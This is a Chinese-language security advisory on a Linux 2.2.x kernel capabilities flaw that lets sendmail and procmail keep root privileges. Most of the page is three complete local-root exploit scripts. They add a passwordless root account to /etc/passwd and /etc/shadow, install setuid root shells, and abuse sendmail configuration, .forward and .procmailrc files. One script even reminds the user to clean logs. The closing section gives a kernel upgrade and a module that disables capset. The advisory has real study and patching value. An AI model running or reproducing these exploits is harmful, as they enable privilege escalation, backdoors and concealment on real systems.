首页 -> 安全研究

安全研究

安全漏洞
Linux 内核Capabilities漏洞导致本地用户获取root权限

发布日期:2000-06-11
更新日期:2000-06-11

受影响系统:
Linux kernel 2.2.x (x<16)
+ sendmail 8.10.1以及更低版本
  procmail
不受影响系统:
Linux kernel 2.2.16
描述:
POSIX中的"Capabilities"(能力,权限)在Linux kernel中已经得到实现。利用"Capabilities"
可以对授权进程进行更为精确的控制,通过指定某些"Capabilities",从一些程序中获得的访问权
限只能到达程序要求到达的部分,这无疑是一个安全措施。问题是"Capabilities"在fork()子进
程时可以被复制,这意味着如果"Capabilities"在父进程中被设置,就会被传递给子进程。如果
在父进程中将CAP_SETUID的能力禁止,那么子进程将不能执行setuid()调用。这就可能带来一个
安全问题,如果在子进程中执行sendmail,在sendmail想用setuid(getuid())丢弃掉root权限时,
它就不能真正的完成这个操作,因此sendmail就会仍然以root权限运行,攻击者可能利用.forward
来获取root权限。实际上,所有设置了setuid/setgid属性的程序都可能存在被攻击的可能。

<* 来源:Wojciech Purczynski   (wp@elzabsoft.pl)
         Gerrie  
         Peter Van Dijk <petervd@vuurwerk.nl>
         Christophe GRENIER (grenier@nef.esiea.fr)
         Kyle Sparger (ksparger@dialtoneinternet.net)
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

========================= bug_kernel.sh BEGIN ===================================
#!/bin/sh
echo Exploit for capability bug using sendmail
echo 8 june 2000 - Christophe GRENIER
echo grenier@nef.esiea.fr
echo http://www.esiea.fr/public_html/Christophe.GRENIER
echo
export BINDIR=$HOME
cat > add.c <<EOF
#include <fcntl.h>
#include <unistd.h>

int main (void)
{
  int fd;
  char string[40];
  seteuid(0);
  chmod("/etc/passwd",0644);
  fd = open("/etc/passwd", O_APPEND|O_WRONLY);
  if(fd>0)
  {
    strcpy(string, "kmaster0:x:0:0::/root:/bin/sh\n");
    write(fd, string, strlen(string));
    close(fd);
  }
  chmod("/etc/shadow",0600);
  fd = open("/etc/shadow", O_APPEND|O_WRONLY);
  if(fd>0)
  {
    strcpy(string, "kmaster0::11029:0:99999:7:::\n");
    write(fd, string, strlen(string));
    fchmod(fd,0400);
    close(fd);
  }
  return 0;
}
EOF
cat > ex.c <<EOF
#include <stdlib.h>
#include <unistd.h>
#include <linux/capability.h>

int main (void)
{
  cap_user_header_t header;
  cap_user_data_t data;
  header = malloc(8);
  data = malloc(12);
  header->pid = 0;
  header->version = _LINUX_CAPABILITY_VERSION;
  data->inheritable = data->effective = data->permitted = 0;
  capset(header, data);
  execlp("/usr/sbin/sendmail", "sendmail", "-t", NULL);
  return 0;
}
EOF
gcc -o $BINDIR/add add.c
gcc -o ex ex.c
chmod 755 $BINDIR/add
chmod 711 $BINDIR
cat > mail.msg << EOF
From: $USER
To: $USER
Subject: exploit
pipo
EOF
echo "\"|exec $BINDIR/add || exit 75 #GRENIER\"" > ~/.forward
chmod 600 ~/.forward
./ex < mail.msg
echo Waiting a little bit...
sleep 3
echo Cleaning
rm -f mail ex ex.c $BINDIR/add add.c ~/.forward
su - kmaster0
========================= bug_kernel.sh END ===================================


=========================== smlnx BEGIN =======================================
#!/bin/sh

echo "+-----------------------------------------------------------+"
echo "|      Linux kernel 2.2.X (X<=15) & sendmail <= 8.10.1      |"
echo "|                    local root exploit                     |"
echo "|                                                           |"
echo "|   Bugs found and exploit written by Wojciech Purczynski   |"
echo "|      wp@elzabsoft.pl   cliph/ircnet   Vooyec/dalnet       |"
echo "+-----------------------------------------------------------+"

TMPDIR=/tmp/foo
SUIDSHELL=/tmp/sush
SHELL=/bin/tcsh

umask 022
echo "Creating temporary directory"
mkdir -p $TMPDIR
cd $TMPDIR

echo "Creating anti-noexec library (capdrop.c)"
cat <<_FOE_ > capdrop.c
#define __KERNEL__
#include <linux/capability.h>
#undef __KERNEL__
#include <linux/unistd.h>
_syscall2(int, capset, cap_user_header_t, header, const cap_user_data_t, data)
extern int capset(cap_user_header_t header, cap_user_data_t data);
void unsetenv(const char*);
void _init(void) {
    struct __user_cap_header_struct caph={_LINUX_CAPABILITY_VERSION, 0};
    struct __user_cap_data_struct capd={0, 0, 0xfffffe7f};
    unsetenv("LD_PRELOAD");
    capset(&caph, &capd);
    system("echo|/usr/sbin/sendmail -C$TMPDIR/sm.cf $USER");
}
_FOE_
echo "Compiling anti-noexec library (capdrop.so)"
cc capdrop.c -c -o capdrop.o
ld -shared capdrop.o -o capdrop.so

echo "Creating suid shell (sush.c)"
cat <<_FOE_ > sush.c
#include <unistd.h>
int main() { setuid(0); setgid(0); execl("/bin/sh", "sh", NULL); }
_FOE_

echo "Compiling suid shell (sush.c)"
cc sush.c -o $TMPDIR/sush

echo "Creating shell script"
cat <<_FOE_ >script
mv $TMPDIR/sush $SUIDSHELL
chown root.root $SUIDSHELL
chmod 4111 $SUIDSHELL
exit 0
_FOE_

echo "Creating own sm.cf"
cat <<_FOE_ >$TMPDIR/sm.cf
O QueueDirectory=$TMPDIR
O ForwardPath=/no_forward_file
S0
R\$*    \$#local \$: \$1
Mlocal,    P=$SHELL, F=lsDFMAw5:/|@qSPfhn9, S=EnvFromL/HdrFromL, R=EnvToL/HdrToL,
    T=DNS/RFC822/X-Unix, A=$SHELL $TMPDIR/script
_FOE_

echo "Dropping CAP_SETUID and calling sendmail"
export LD_PRELOAD=$TMPDIR/capdrop.so
/bin/true
unset LD_PRELOAD

echo "Waiting for suid shell ($SUIDSHELL)"
while [ ! -f $SUIDSHELL ]; do sleep 1; done

echo "Removing everything"
cd ..
rm -fr $TMPDIR

echo "Suid shell at $SUIDSHELL"
$SUIDSHELL


=========================== smlnx END =======================================


=========================== prlnx BEGIN =======================================
#!/bin/sh

echo "+-----------------------------------------------------+"
echo "|   Sendmail & procmail & kernel local root exploit   |"
echo "|                                                     |"
echo "|Bugs found and exploit written by Wojciech Purczynski|"
echo "|    wp@elzabsoft.pl   cliph/ircnet  Vooyec/dalnet    |"
echo "+-----------------------------------------------------+"

echo Creating cap.c

cat <<_FOE_ > cap.c
#define __KERNEL__
#include <linux/capability.h>
#undef __KERNEL__
#include <linux/unistd.h>

_syscall2(int, capset, cap_user_header_t, header, const cap_user_data_t, data)
extern int capset(cap_user_header_t header, cap_user_data_t data);
int main()
{
    struct __user_cap_header_struct caph={
        _LINUX_CAPABILITY_VERSION,
        0
    };
    struct __user_cap_data_struct capd={
            0,
        0,
        0xfffffe7f
    };
    capset(&caph, &capd);
    system("echo|/usr/sbin/sendmail $USER");
}
_FOE_

echo Creating $HOME/.procmailrc
PROCMAILRCBAK=$HOME/.procmailrc.bak
mv -f $HOME/.procmailrc $PROCMAILRCBAK
cat <<_FOE_ > $HOME/.procmailrc
:H
*
|/bin/tcsh -c "rm -fr /bin/sush; mv -f /tmp/sush /bin/sush; chown root.root /bin/sush; chmod 4111 /bin/sush"
_FOE_

echo Compiling cap.c -> cap
cc cap.c -o cap

echo Creating sush.c
cat <<_FOE_ > sush.c
#include <unistd.h>
int main()
{
    setuid(0);
    setgid(0);
    execl("/bin/bash", "bash", NULL);
}
_FOE_

echo Compiling sush
cc sush.c -o /tmp/sush

echo Executing cap
./cap
echo Don\'t forget to clean logs

echo Waiting for suid shell
while [ ! -f /bin/sush ]; do
sleep 1
done

echo Cleaning everything
rm -fr $HOME/.procmailrc cap.c cap sush.c
mv $PROCMAILRCBAK $HOME/.procmailrc

echo Executing suid shell
/bin/sush

============================ prlnx END  =======================================

建议:
更新到kernel 2.2.16,下载地址:

http://www.kernel.org/pub/linux/kernel/v2.2/linux-2.2.16.tar.gz

临时解决办法:

ksparger提供了一个简单的内核模块,用来禁止设置capset功能

# gcc -DMODULE -c bogus_capset.c
# insmod bogus_capset.o

可以将上面这个命令加到启动文件中,或者设置每次启动时都自动装载这个模块

---------------------------------------

#include <linux/kernel.h>
#include <linux/module.h>

#include <sys/syscall.h>
#include <linux/linkage.h>
#include <linux/errno.h>

#include <sys/syscall.h>

extern void *sys_call_table[];

asmlinkage int bogus_capset()
{
    return -EPERM;
}

int init_module()
{
  sys_call_table[__NR_capset] = bogus_capset;

  return 0;
}

void cleanup_module()
{
}

浏览次数:7843
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障